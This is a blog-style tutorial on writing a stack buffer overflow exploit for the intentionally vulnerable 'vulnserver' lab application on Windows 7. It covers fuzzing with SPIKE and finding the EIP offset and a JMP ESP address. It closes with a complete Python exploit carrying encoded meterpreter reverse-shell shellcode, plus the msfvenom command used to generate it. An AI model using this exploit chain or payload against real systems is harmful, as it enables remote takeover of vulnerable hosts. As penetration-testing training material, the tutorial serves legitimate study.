Develop Windows Exploits (Complete Guide)

In this lengthy article we are going to discuss how to develop windows exploits. If you want to be a successful Ethical Hacker or Penetration tester you should have a fair understanding/knowledge of the assembly language to develop windows exploits (custom exploits). Let us cover some basics that are required to develop Windows exploits by building/launching ourselves a vulnerable application.

  1. Following is a list of basic terms that penetration testers must understand to develop windows exploits (custom exploits):
  2. Registers: All processes execute through registers, basically it is used to store the information.
  3. x86: Includes 32-bit systems mostly Intel-based; 64-bit systems are represented as x64.
  4. Assembly language: low-level programming language.
  5. Buffer: Static memory holder in a program (stores data on top of the stack or heap).
  6. Debugger: These are the programs used to see the run-time of a program while executing and also to look at the state of registry and memory. Some of the tools that we need to use are immunity debuggers, GDB, and ollydbg.
  7. ShellCode: A code created by the penetration tester in a successful exploitation.

Now we should also cover different types of registers to develop windows exploits:

  • EAX: 32-bit register used as an accumulator and stores data.
  • EBX: 32-bit base register (acts as a pointer to the data).
  • ECX: 32-bit register used for looping purposes.
  • EDX: 32-bit data register (stores an I/O pointer).
  • ESI/EDI: 32-bit index registers (act as data pointers for all memory operations).
  • EBP: 32-bit stack data pointer register.
  • Extended Instruction Pointer (EIP): 32-bit program counter/instruction pointer, holds the next instruction to be executed.
  • Extended Stack Pointer (ESP): 32-bit stack pointer register (points exactly where the stack is pointing)
  • SS, DS, ES, CS, FS, and GS: 16- bit segment registers.
  • NOP: stands for no operations.
  • JMP: stands for jump instructions.

Identifying a vulnerability using fuzzing – Develop Windows Exploits

Penetration Testers must be able to identify the right fuzzing parameters in any given application to find vulnerability and then exploit it. Now we will take an example of vulnerable server, which was created by Stephen Bradshaw This vulnerable software can be downloaded from here.



Once the application is downloaded, we will be unzipping the file and running the server. In this experiment, we will be using Windows 7 as the victim running a vulnerable server. This will open up TCP port 9999 for the remote clients to connect, When the vulnerable server is up and running you’ll see in the following screenshot:

develop windows exploits

As shown in the following screenshot you can connect to the server on port 9999 using netcat to communicate to the server,

develop windows exploits

Fuzzing is a penetration technique in which pentester specifically send malformed packets to the target to generate errors in the application or create general failures. Then failures create bugs in the application and find out how it can be exploited to allow remote access by running their own code. Now that application is accessible and everything is set and now begin the art of fuzzing.

SPIKE is available in Kali Linux. This tool is rather a fuzzing toolkit to create fuzzers by providing scripting capabilities; however, it is written in the C language. There are a list of interpreters written in SPIKE that can be used:

  • generic_chunked
  • generic_send_tcp
  • generic_send_udp
  • generic_web_server_fuzz
  • generic_web_server_fuzz2
  • generic_listen_tcp

This tool enables you to add your own scripts without writing hundred lines of code in C. Penetration Testers with access to the application can see multiple options available in the vulnerable server to play with. This includes STATS, RTIME, LTIME, SRUN, TRUN, GMON, GDOG, KSTET, GTER, HTER, LTER, and KSTAN as part of valid commands that take input. We will use generic_send_tcp interpreter to fuzz application; and the format to use the interpreter is as follows:

/generic_send_tcp host port spike_script SKIPVAR SKIPSTR

Following are parameters explained in detail:

host: target host or IP (Internet Protocol)
port: port number to be connected
spike_script: SPIKE script to run on interpreter
SKIPVAR and SKIPSTR: enables attacker to jump in to the middle of the fuzzing session as defined in the SPIKE script.

Now you should create a simple SPIKE script to readline and run SRUN and assign a string value as the parameter:

s_readline();
s_string(“SRUN |”);
s_string_variable(“VALUE”);

Above three lines read the first line after connecting to the IP/hostname and then runs SRUN along with a randomly generated value. Now, let’s save the file as exploitfuzzer.spk and run the SPIKE script against the target as shown in the following screenshot:

No server crash or anything now fuzzing is confirmed, so the parameter SRUN is not vulnerable; now, the next step is to pick another one. This time we will pick TRUN as the parameter to fuzz:

s_readline();
s_string(“TRUN |”);
s_string_variable(“VALUE”);

Save the exploitfuzz.spk file and enter command as shown below:

You can observe that the server crashed on victim’s PC, Windows also gives us useful information, which we can take a note of on exception offset 41414141 (which is converted as AAAA) as shown in the following screenshot:

TRUN command created the crash we know that, we must now focus on what created the crash. This can be achieved by using wireshark to provide us with the exact request that caused the crash:

  • 1. Run wireshark with correct Ethernet adapter.
  • 2. Repeat exploit process using the fuzzer (generic_send_tcp target port exploitfuzz.spk 0 0).
  • 3. Filter wireshark with filter tcp.port == 9999.
  • 4. Right-click on the packet and follow TCP stream.

You’ll see something like this:

Let’s now go ahead and write a simple Python program to crash the server. Use a simple socket program to connect to the IP and run the command with a buffer of 10000 * Z. The following code extract provides the first step in fuzzing and debugging an application vulnerability:



import socket
IP = raw_input("enter the IP to crash:")
PORT = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP,PORT))
banner = s.recv(1024)
print(banner)
command = "TRUN "
header = "|/.:/"
buffer = "Z" * 10000
s.send (command + header + buffer)
print ("server dead")

Save file as crash.py and run this against target IP, and you can see the server dead with the 10000 as buffer that means Z*10000 as input crashed the server you can see result below:

Now, the next step is to identify exactly how many characters caused the server crash and what’s the buffer size that can be utilized. On the server side, we must debug the application. In order to perform the debugging, we will download immunity debugger from here. Debuggers are used mostly to find exploits, analyze malwares and reverse engineering any binary files. Now focus on the vulnerable server, let’s load vulnerableserver.exe to immunity debugger and run the application as shown in the following screenshot:

Our next step is to develop a pattern using the Metasploit framework by locating to /usr/share/metasploit-framework/tools/exploit/folder and run ./pattern_create -l 4000 in the Terminal as you can see in the following screenshot:

We can either output the contents generated into a file or copy from the terminal or add to your Python program by adding another variable. This time we will disable the buffer and use the pattern created by the exploit tool with the length of 4000:

import socket
IP = raw_input("enter the IP to crash:")
PORT = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP,PORT))
banner = s.recv(1024)
print(banner)
command = "TRUN "
header = "|/.:/"
#buffer = "Z" * 10000
pattern = <value>
s.send (command + header + pattern)
print ("server dead")

Now after running crash.py against target (will result in the crash of the server again), but all the Z characters are being replaced by the pattern created. On the vulnerable server, we should be able to see the registers from our immunity debugger, which provides the next instruction stored in EIP as shown in the following screenshot:

Now, this is the end of fuzzing. Now we will focus on creating a Windows-specific exploit.

Creating a Windows-specific exploit (develop windows exploits)

For creating a Windows-specific exploit, we have to identify right offset, that of the EIP. This can be extracted by exploit tools such as patter_offset that takes the input of the EIP with the same length that was used to create the pattern:

[email protected]:/usr/share/metasploit-framework/tools/exploit#
./pattern_offset.rb -q 0x6F43376F -l 4000
[*] Exact match at offset 2002

So an offset match was found in the created pattern with the EIP. Now we know that buffer 2002 is enough to crash the server and we can begin the overflow. The next step is to find which EIP register stores the opcodes for the assembly JMP ESP. In the immunity debugger, view the executable modules and select essfunc.dll as shown below:

Right-click and search for the command and type jmp esp. You’ll be able to see the CPU thread of the first JMP ESP register. Copy the address, 625011AF FFE4 JMP ESP:

625011AF is the location where the opcodes for the assembly are stored. The next step is to convert the address to the shell code that would be xAF\x11\x50\x62.



Now we need to create a Windows payload using msfvenom by running the following command in the terminal that will provide a meterpreter reverse shell on the attacker’s IP:

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp
lhost=192.168.0.137 lport=4444 -e x86/shikata_ga_nai -b '\x00' -i 3 -f python

Last Stage to develop windows exploits

Now we are in the last stage of creating the full-fledged exploit just to add NOP sled and then overflowing the buffer and writing our shell code to the system running the vulnerable server. The following code extract is the full Python code to exploit the vulnerable server:

import socket
IP = raw_input("enter the IP to hack")
PORT = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP,PORT))
banner = s.recv(1024)
print(banner)
command = "TRUN "
header = "|/.:/"
buffer = "Z" * 2002
#625011AF FFE4 JMP ESP
eip = "\xAF\x11\x50\x62"
nops = "\x90" * 50
buf = ""
buf += "\xd9\xc0\xd9\x74\x24\xf4\x5d\xb8\x8b\x16\x93\x5e\x2b"
buf += "\xc9\xb1\x61\x83\xed\xfc\x31\x45\x16\x03\x45\x16\xe2"
buf += "\x7e\xcf\x53\x87\xf4\xd4\xa7\x62\x4b\xfe\x93\x1a\xda"
buf += "\xd4\xea\xac\x47\x1a\x97\xd9\xf4\xb6\x9b\xe5\x6a\x8e"
buf += "\x0f\x76\x34\x24\x05\x1c\xb1\x08\xbe\xdd\x30\x77\x68"
buf += "\xbe\xf8\x2e\x89\xc9\x61\x6c\x50\xf8\xa9\xef\x7d\xbd"
buf += "\xd2\x51\x11\x59\x4e\x47\x07\xf9\x83\x38\x22\x94\xe6"
buf += "\x4d\xb5\x87\xc7\x54\xb6\x85\xa6\x5d\x3c\x0e\xe0\x1d"
buf += "\x28\xbb\xac\x65\x5b\xd5\x83\xab\x6b\xf3\xe7\x4a\xc4"
buf += "\x65\xdf\x76\x52\xf2\x18\xe7\xf1\xf3\xb5\x6b\x02\xfe"
buf += "\x43\xff\xc7\x4b\x76\x68\x3e\x5d\xc4\x17\x91\x66\x08"
buf += "\x21\xd8\x52\x77\x99\x59\xa9\x74\xba\xea\xfd\x0f\xfb"
buf += "\x11\xf3\x29\x70\x2d\x3f\x0d\xbb\x5c\xe9\x13\x5f\x64"
buf += "\x35\x20\xd1\x6b\xc4\x41\xde\x53\xeb\x34\xec\xf8\x07"
buf += "\xac\xe1\x43\xbc\x47\x1f\x6a\x46\x57\x33\x04\xb0\xda"
buf += "\xe3\x5d\xf0\x67\x90\x40\x14\x9b\x73\x98\x50\xa4\x19"
buf += "\x80\xe0\x4b\xb4\xbc\xdd\xac\xaa\x92\x2b\x07\xa6\x3d"
buf += "\xd2\x0c\xdd\xf9\x99\xb9\xdb\x93\x93\x1e\x20\x89\x57"
buf += "\x7c\x1e\xfe\x45\x50\x2a\x1a\x79\x8c\xbf\xdb\x76\xb5"
buf += "\xf5\x98\x6c\x06\xed\xa8\xdb\x9f\x67\x67\x56\x25\xe7"
buf += "\xcd\xa2\xa1\x0f\xb6\xc9\x3f\x4b\x67\x98\x1f\xe3\xdc"
buf += "\x6f\xc5\xe2\x21\x3d\xcd\x23\xcb\x5f\xe9\x30\xf7\xf1"                                buf += "\x2d\x36\x0c\x19\x58\x6e\xa3\xff\x4e\x2b\x52\xea\xe7"
buf += "\x42\xcb\x21\x3d\xe0\x78\x07\xca\x92\xe0\xbb\x84\xa1"
buf += "\x61\xf4\xfb\xbc\xdc\xc8\x56\x63\x12\xf8\xb5\x1b\xdc"
buf += "\x1e\xda\xfb\x12\xbe\xc1\x56\x5b\xf9\xfc\xfb\x1a\xc0"
buf += "\x73\x65\x54\x6e\xd1\x13\x06\xd9\xcc\xfb\x53\x99\x79"
buf += "\xda\x05\x34\xd2\x50\x5a\xd0\x78\x4a\x0d\x6e\x5b\x66"
buf += "\xbb\x07\x95\x0b\x03\x32\x4c\x23\x57\xce\xb1\x1f\x2a"
buf += "\xe1\xe3\xc7\x08\x0c\x5c\xfa\x02\x63\x37\xb9\x5a\xd1"
buf += "\xfe\xa9\x05\xe3\xfe\x88\xcf\x3d\xda\xf6\xf0\x90\x6b"
buf += "\x3c\x8b\x39\x3e\xb3\x66\x79\xb3\xd5\x8e\x71"
s.send (command + header + buffer + eip + nops + buf)
print ("server pawned - enjoy the shell")

Once the exploit is completed, ensure that your listener is running like this:

Everything is now set. Penetration tester will now be able to perform and develop windows exploits using Python programming. The next step is to run crash.py from the Terminal:

[email protected]:~# python crash.py
enter the IP to hack:192.168.0.119
Welcome to Vulnerable Server! Enter HELP for help.
Server pawned - enjoy the shell

Successful exploitation has overwritten the buffer with our shell code and pawned a reverse shell to the attacker as shown below:

That’s it. Also read my other articles on Penetration Testing IPSec VPN and Remote Access Protocols.

 

Check Also

Penetration Testing Network Routers using RouterSploit

In this article we’re going to discuss penetration testing network routers using RouterSploit in a …

Leave a Reply

Your email address will not be published. Required fields are marked *